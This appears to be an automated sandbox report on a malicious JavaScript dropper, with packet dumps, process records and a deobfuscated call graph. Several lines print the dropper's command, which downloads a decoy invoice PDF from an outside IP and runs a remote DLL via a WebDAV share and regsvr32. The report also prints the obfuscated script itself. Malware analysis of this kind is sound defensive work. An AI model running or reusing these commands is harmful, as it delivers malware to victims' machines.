3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:17:35.365361929 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:17:35.365374088 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 21:17:35.365434885 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 21:17:35.365442038 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 21:17:35.365453005 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 21:17:35.365458012 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 10, 2025 21:17:35.365464926 CET	1120	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 10, 2025 21:17:35.365488052 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 21:17:35.365494967 CET	1236	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 10, 2025 21:17:35.370296955 CET	1112	IN	Data Raw: 9b 1b 81 37 1b 8f cd 90 6f ee b7 d6 83 b4 e1 9d d6 1f a8 ba d0 f8 33 31 14 c0 a6 ad 21 99 60 07 d5 1c 18 fa 38 3f 30 f4 a9 3d 30 f4 f1 fa fa e1 ea ea a1 dd 91 db c7 d0 63 15 43 f7 bb 18 1a f4 d0 0f a9 72 0e 1e fb f2 b0 bf 26 8c a1 77 f3 18 7a 99 Data Ascii: 7o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLIM=3Nad/7ZXkJ>U?HX*%;3s{^aZf\\|C\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	8088	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:17:37.238070965 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:17:38.052787066 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:17:37 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	15:17:30
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\49441311255025245.js"
Imagebase:	0x7ff6eb640000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:17:30
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll
Imagebase:	0x7ff68eab0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:17:30
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:17:30
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:17:36
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	15:17:36
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff68eab0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:17:36
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6126c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:17:36
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	15:17:37
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x8b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:17:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1604,i,11243734406155330443,17094028111628165151,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ejuafm() {	ejuafm() ➔ undefined
1	uhcqawll = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var rpiuw = this[corchbusj + itsyivzmg + reonj + evigez + tnrvj + yyrma + prvnux + ggufg] ( this[iufalt + mubeq + mqareh + reonj + adknanx + corchbusj + ggufg][cwrdagbtz + reonj + tnrvj + itsyivzmg + ggufg + tnrvj + gtjaa + aqcmdm + fmczrdvr + tnrvj + mqareh + ggufg] ( iufalt + mubeq + mqareh + reonj + adknanx + corchbusj + ggufg + npzecn + mubeq + jxncb + tnrvj + qlpcszht + qlpcszht ) [dkqto + tnrvj + hsahgp + dkqto + tnrvj + itsyivzmg + iqjtj] ( gdrkt + ljzhuff + mnbqzd + ofopw + cxggctxw + cwrdagbtz + hkhzklezx + dkqto + dkqto + mnbqzd + pvzcgni + hwnxx + cxggctxw + hkhzklezx + mubeq + mnbqzd + dkqto + ttxtfkmkp + cwrdagbtz + lzrwd + prvnux + ggufg + reonj + lzrwd + qlpcszht + mgmfko + xoqbcx + itsyivzmg + prvnux + tnrvj + qlpcszht + ttxtfkmkp + yyrma + prvnux + ggufg + tnrvj + reonj + prvnux + itsyivzmg + ggufg + adknanx + lzrwd + prvnux + itsyivzmg + qlpcszht + ttxtfkmkp + mweiebqf + lzrwd + mqareh + itsyivzmg + qlpcszht + tnrvj ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xfeoar = 0 ; xfeoar < uhcqawll[qlpcszht + tnrvj + prvnux + hsahgp + ggufg + jxncb] ; ++ xfeoar )
4	{
5	if ( rpiuw == uhcqawll[xfeoar] )
6	{
7	rpiuw = true;
8	break ;
9	}
10	}
11	if ( rpiuw !== true )
12	this[iufalt + mubeq + mqareh + reonj + adknanx + corchbusj + ggufg][vohjzzoj + bgsdyjzj + adknanx + ggufg] ( );
13	this[iufalt + mubeq + mqareh + reonj + adknanx + corchbusj + ggufg][cwrdagbtz + reonj + tnrvj + itsyivzmg + ggufg + tnrvj + gtjaa + aqcmdm + fmczrdvr + tnrvj + mqareh + ggufg] ( iufalt + mubeq + mqareh + reonj + adknanx + corchbusj + ggufg + npzecn + mubeq + jxncb + tnrvj + qlpcszht + qlpcszht ) [reonj + bgsdyjzj + prvnux] ( mqareh + mexuwv + iqjtj + mgmfko + itvgjgz + mqareh + mgmfko + corchbusj + lzrwd + rpitvwaa + tnrvj + reonj + evigez + jxncb + tnrvj + qlpcszht + qlpcszht + npzecn + tnrvj + sisvfj + tnrvj + mgmfko + qliwb + cwrdagbtz + lzrwd + mexuwv + mexuwv + itsyivzmg + prvnux + iqjtj + mgmfko + wkuxrl + yyrma + prvnux + pnzvkqid + lzrwd + eogqezawo + tnrvj + qliwb + iufalt + tnrvj + aqcmdm + dkqto + tnrvj + wylbze + bgsdyjzj + tnrvj + evigez + ggufg + mgmfko + qliwb + gtjaa + bgsdyjzj + ggufg + sfjjdi + adknanx + qlpcszht + tnrvj + mgmfko + erpbspdvn + ggufg + tnrvj + mexuwv + corchbusj + erpbspdvn + ttxtfkmkp + adknanx + prvnux + pnzvkqid + lzrwd + adknanx + mqareh + tnrvj + npzecn + corchbusj + iqjtj + ahvgej + mgmfko + jxncb + ggufg + ggufg + corchbusj + zyurqqle + itvgjgz + itvgjgz + yatrtwigg + btnbmv + goggkolv + npzecn + yatrtwigg + pvzhtqbl + goggkolv + npzecn + yatrtwigg + npzecn + lqteqg + yhtrz + ryftgr + itvgjgz + adknanx + prvnux + pnzvkqid + lzrwd + adknanx + mqareh + tnrvj + npzecn + corchbusj + jxncb + corchbusj + wkuxrl + lvtvbj + lvtvbj + evigez + ggufg + itsyivzmg + reonj + ggufg + mgmfko + erpbspdvn + ggufg + tnrvj + mexuwv + corchbusj + erpbspdvn + ttxtfkmkp + adknanx + prvnux + pnzvkqid + lzrwd + adknanx + mqareh + tnrvj + npzecn + corchbusj + iqjtj + ahvgej + lvtvbj + lvtvbj + mqareh + mexuwv + iqjtj + mgmfko + itvgjgz + mqareh + mgmfko + prvnux + tnrvj + ggufg + mgmfko + bgsdyjzj + evigez + tnrvj + mgmfko + ttxtfkmkp + ttxtfkmkp + yatrtwigg + btnbmv + goggkolv + npzecn + yatrtwigg + pvzhtqbl + goggkolv + npzecn + yatrtwigg + npzecn + lqteqg + yhtrz + ryftgr + fggxas + zcrucqwi + zcrucqwi + zcrucqwi + zcrucqwi + ttxtfkmkp + iqjtj + itsyivzmg + pnzvkqid + rpitvwaa + rpitvwaa + rpitvwaa + reonj + lzrwd + lzrwd + ggufg + ttxtfkmkp + lvtvbj + lvtvbj + mqareh + mexuwv + iqjtj + mgmfko + itvgjgz + mqareh + mgmfko + reonj + tnrvj + hsahgp + evigez + pnzvkqid + reonj + goggkolv + lqteqg + mgmfko + itvgjgz + evigez + mgmfko + ttxtfkmkp + ttxtfkmkp + yatrtwigg + btnbmv + goggkolv + npzecn + yatrtwigg + pvzhtqbl + goggkolv + npzecn + yatrtwigg + npzecn + lqteqg + yhtrz + ryftgr + fggxas + zcrucqwi + zcrucqwi + zcrucqwi + zcrucqwi + ttxtfkmkp + iqjtj + itsyivzmg + pnzvkqid + rpitvwaa + rpitvwaa + rpitvwaa + reonj + lzrwd + lzrwd + ggufg + ttxtfkmkp + yatrtwigg + jbkezseqm + btnbmv + lqteqg + goggkolv + pvzhtqbl + yatrtwigg + btnbmv + lqteqg + ryftgr + ryftgr + pvzhtqbl + npzecn + iqjtj + qlpcszht + qlpcszht, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll",0,false) ➔ 0
14	}
15	yhtrz = "f";
16	yhtrz = "j";
17	yhtrz = "M";
18	yhtrz = "X";
19	yhtrz = "T";
20	yhtrz = "p";
21	yhtrz = "n";
22	yhtrz = "B";
23	yhtrz = "l";
24	yhtrz = "q";
25	yhtrz = "p";
26	yhtrz = "l";
27	yhtrz = "O";
28	yhtrz = "T";
29	yhtrz = "V";
30	yhtrz = "o";
31	yhtrz = "Y";
32	yhtrz = "G";
33	yhtrz = "p";
34	yhtrz = "S";
35	yhtrz = "e";
36	yhtrz = "K";
37	yhtrz = "a";
38	yhtrz = "L";
39	yhtrz = "C";
40	yhtrz = "H";
41	yhtrz = "c";
42	yhtrz = "m";
43	yhtrz = "m";
44	yhtrz = "z";
45	yhtrz = "p";
46	yhtrz = "R";
47	yhtrz = "c";
48	yhtrz = "b";
49	yhtrz = "o";
50	yhtrz = "i";
51	yhtrz = "t";
52	yhtrz = "u";
53	yhtrz = "s";
54	yhtrz = "j";
55	yhtrz = "v";
56	yhtrz = "R";
57	yhtrz = "h";
58	yhtrz = "0";
59	wkuxrl = "f";
60	wkuxrl = "F";
61	wkuxrl = "D";
62	wkuxrl = "H";
63	wkuxrl = "V";
64	wkuxrl = "z";
65	wkuxrl = "t";
66	wkuxrl = "R";
67	wkuxrl = "z";
68	wkuxrl = "i";
69	wkuxrl = "n";
70	wkuxrl = "H";
71	wkuxrl = "O";
72	wkuxrl = "c";
73	wkuxrl = "D";
74	wkuxrl = "Z";
75	wkuxrl = "q";
76	wkuxrl = "h";
77	wkuxrl = "a";
78	wkuxrl = "c";
79	wkuxrl = "p";
80	wkuxrl = "B";
81	wkuxrl = "Y";
82	wkuxrl = "g";
83	wkuxrl = "o";
84	wkuxrl = "c";
85	wkuxrl = "B";
86	wkuxrl = "T";
87	wkuxrl = "N";
88	wkuxrl = "C";
89	wkuxrl = "n";
90	wkuxrl = "j";
91	wkuxrl = "x";
92	wkuxrl = "Z";
93	wkuxrl = "u";
94	wkuxrl = "r";
95	wkuxrl = "W";
96	wkuxrl = "\"";
97	mqareh = "J";
98	mqareh = "B";
99	mqareh = "O";
100	mqareh = "r";
101	mqareh = "N";
102	mqareh = "a";
103	mqareh = "O";
104	mqareh = "f";
105	mqareh = "R";
106	mqareh = "C";
107	mqareh = "v";
108	mqareh = "W";
109	mqareh = "O";
110	mqareh = "U";
111	mqareh = "O";
112	mqareh = "L";
113	mqareh = "W";
114	mqareh = "i";
115	mqareh = "z";
116	mqareh = "W";
117	mqareh = "A";
118	mqareh = "n";
119	mqareh = "J";
120	mqareh = "F";
121	mqareh = "n";
122	mqareh = "z";
123	mqareh = "q";
124	mqareh = "K";
125	mqareh = "N";
126	mqareh = "A";
127	mqareh = "t";
128	mqareh = "f";
129	mqareh = "a";
130	mqareh = "H";
131	mqareh = "G";
132	mqareh = "d";
133	mqareh = "l";
134	mqareh = "f";
135	mqareh = "x";
136	mqareh = "I";
137	mqareh = "P";
138	mqareh = "X";
139	mqareh = "c";
140	reonj = "T";
141	reonj = "M";
142	reonj = "d";
143	reonj = "z";
144	reonj = "M";
145	reonj = "t";
146	reonj = "k";
147	reonj = "J";
148	reonj = "i";
149	reonj = "k";
150	reonj = "X";
151	reonj = "t";
152	reonj = "r";
153	hkhzklezx = "q";
154	hkhzklezx = "J";
155	hkhzklezx = "m";
156	hkhzklezx = "X";
157	hkhzklezx = "K";
158	hkhzklezx = "p";
159	hkhzklezx = "k";
160	hkhzklezx = "C";
161	hkhzklezx = "j";
162	hkhzklezx = "a";
163	hkhzklezx = "i";
164	hkhzklezx = "G";
165	hkhzklezx = "X";
166	hkhzklezx = "P";
167	hkhzklezx = "a";
168	hkhzklezx = "L";
169	hkhzklezx = "m";
170	hkhzklezx = "i";
171	hkhzklezx = "k";
172	hkhzklezx = "V";
173	hkhzklezx = "O";
174	hkhzklezx = "N";
175	hkhzklezx = "x";
176	hkhzklezx = "b";
177	hkhzklezx = "y";
178	hkhzklezx = "A";
179	hkhzklezx = "P";
180	hkhzklezx = "c";
181	hkhzklezx = "m";
182	hkhzklezx = "p";
183	hkhzklezx = "u";
184	hkhzklezx = "o";
185	hkhzklezx = "V";
186	hkhzklezx = "M";
187	hkhzklezx = "m";
188	hkhzklezx = "U";
189	iqjtj = "d";
190	aqcmdm = "n";
191	aqcmdm = "t";
192	aqcmdm = "u";
193	aqcmdm = "f";
194	aqcmdm = "U";
195	aqcmdm = "j";
196	aqcmdm = "b";
197	wylbze = "u";
198	wylbze = "b";
199	wylbze = "D";
200	wylbze = "L";
201	wylbze = "n";
202	wylbze = "D";
203	wylbze = "m";
204	wylbze = "M";
205	wylbze = "m";
206	wylbze = "C";
207	wylbze = "V";
208	wylbze = "u";
209	wylbze = "Q";
210	wylbze = "a";
211	wylbze = "B";
212	wylbze = "Y";
213	wylbze = "B";
214	wylbze = "z";
215	wylbze = "h";
216	wylbze = "Y";
217	wylbze = "X";
218	wylbze = "r";
219	wylbze = "s";
220	wylbze = "K";
221	wylbze = "t";
222	wylbze = "N";
223	wylbze = "Y";
224	wylbze = "I";
225	wylbze = "q";
226	wylbze = "i";
227	wylbze = "q";
228	jxncb = "A";
229	jxncb = "l";
230	jxncb = "K";
231	jxncb = "Q";
232	jxncb = "b";
233	jxncb = "Y";
234	jxncb = "G";
235	jxncb = "F";
236	jxncb = "H";
237	jxncb = "p";
238	jxncb = "t";
239	jxncb = "N";
240	jxncb = "V";
241	jxncb = "A";
242	jxncb = "F";
243	jxncb = "B";
244	jxncb = "A";
245	jxncb = "I";
246	jxncb = "p";
247	jxncb = "i";
248	jxncb = "d";
249	jxncb = "J";
250	jxncb = "m";
251	jxncb = "G";
252	jxncb = "f";
253	jxncb = "A";
254	jxncb = "O";
255	jxncb = "f";
256	jxncb = "X";
257	jxncb = "q";
258	jxncb = "g";
259	jxncb = "r";
260	jxncb = "C";
261	jxncb = "H";
262	jxncb = "r";
263	jxncb = "a";
264	jxncb = "T";
265	jxncb = "O";
266	jxncb = "h";
267	adknanx = "a";
268	adknanx = "q";
269	adknanx = "S";
270	adknanx = "z";
271	adknanx = "Y";
272	adknanx = "Q";
273	adknanx = "C";
274	adknanx = "S";
275	adknanx = "c";
276	adknanx = "v";
277	adknanx = "R";
278	adknanx = "a";
279	adknanx = "J";
280	adknanx = "i";
281	iufalt = "a";
282	iufalt = "a";
283	iufalt = "A";
284	iufalt = "Q";
285	iufalt = "W";
286	pvzhtqbl = "s";
287	pvzhtqbl = "O";
288	pvzhtqbl = "w";
289	pvzhtqbl = "C";
290	pvzhtqbl = "X";
291	pvzhtqbl = "V";
292	pvzhtqbl = "E";
293	pvzhtqbl = "o";
294	pvzhtqbl = "P";
295	pvzhtqbl = "M";
296	pvzhtqbl = "w";
297	pvzhtqbl = "H";
298	pvzhtqbl = "Y";
299	pvzhtqbl = "k";
300	pvzhtqbl = "i";
301	pvzhtqbl = "i";
302	pvzhtqbl = "c";
303	pvzhtqbl = "w";
304	pvzhtqbl = "o";
305	pvzhtqbl = "n";
306	pvzhtqbl = "k";
307	pvzhtqbl = "L";
308	pvzhtqbl = "e";
309	pvzhtqbl = "n";
310	pvzhtqbl = "k";
311	pvzhtqbl = "k";
312	pvzhtqbl = "p";
313	pvzhtqbl = "h";
314	pvzhtqbl = "w";
315	pvzhtqbl = "n";
316	pvzhtqbl = "R";
317	pvzhtqbl = "E";
318	pvzhtqbl = "S";
319	pvzhtqbl = "X";
320	pvzhtqbl = "C";
321	pvzhtqbl = "S";
322	pvzhtqbl = "D";
323	pvzhtqbl = "4";
324	itvgjgz = "V";
325	itvgjgz = "g";
326	itvgjgz = "Q";
327	itvgjgz = "V";
328	itvgjgz = "l";
329	itvgjgz = "S";
330	itvgjgz = "m";
331	itvgjgz = "t";
332	itvgjgz = "B";
333	itvgjgz = "l";
334	itvgjgz = "s";
335	itvgjgz = "E";
336	itvgjgz = "e";
337	itvgjgz = "Y";
338	itvgjgz = "b";
339	itvgjgz = "V";
340	itvgjgz = "f";
341	itvgjgz = "n";
342	itvgjgz = "Y";
343	itvgjgz = "j";
344	itvgjgz = "l";
345	itvgjgz = "O";
346	itvgjgz = "z";
347	itvgjgz = "Z";
348	itvgjgz = "f";
349	itvgjgz = "c";
350	itvgjgz = "m";
351	itvgjgz = "R";
352	itvgjgz = "/";
353	gdrkt = "b";
354	gdrkt = "U";
355	gdrkt = "E";
356	gdrkt = "i";
357	gdrkt = "h";
358	gdrkt = "p";
359	gdrkt = "f";
360	gdrkt = "R";
361	gdrkt = "y";
362	gdrkt = "k";
363	gdrkt = "l";
364	gdrkt = "d";
365	gdrkt = "t";
366	gdrkt = "o";
367	gdrkt = "x";
368	gdrkt = "F";
369	gdrkt = "V";
370	gdrkt = "t";
371	gdrkt = "U";
372	gdrkt = "y";
373	gdrkt = "G";
374	gdrkt = "U";
375	gdrkt = "y";
376	gdrkt = "F";
377	gdrkt = "x";
378	gdrkt = "q";
379	gdrkt = "D";
380	gdrkt = "M";
381	gdrkt = "r";
382	gdrkt = "z";
383	gdrkt = "k";
384	gdrkt = "r";
385	gdrkt = "m";
386	gdrkt = "J";
387	gdrkt = "Z";
388	gdrkt = "H";
389	zyurqqle = "d";
390	zyurqqle = "r";
391	zyurqqle = "V";
392	zyurqqle = "x";
393	zyurqqle = "o";
394	zyurqqle = "g";
395	zyurqqle = "v";
396	zyurqqle = "t";
397	zyurqqle = "m";
398	zyurqqle = "B";
399	zyurqqle = "W";
400	zyurqqle = "k";
401	zyurqqle = "F";
402	zyurqqle = "b";
403	zyurqqle = "k";
404	zyurqqle = "Z";
405	zyurqqle = "p";
406	zyurqqle = "B";
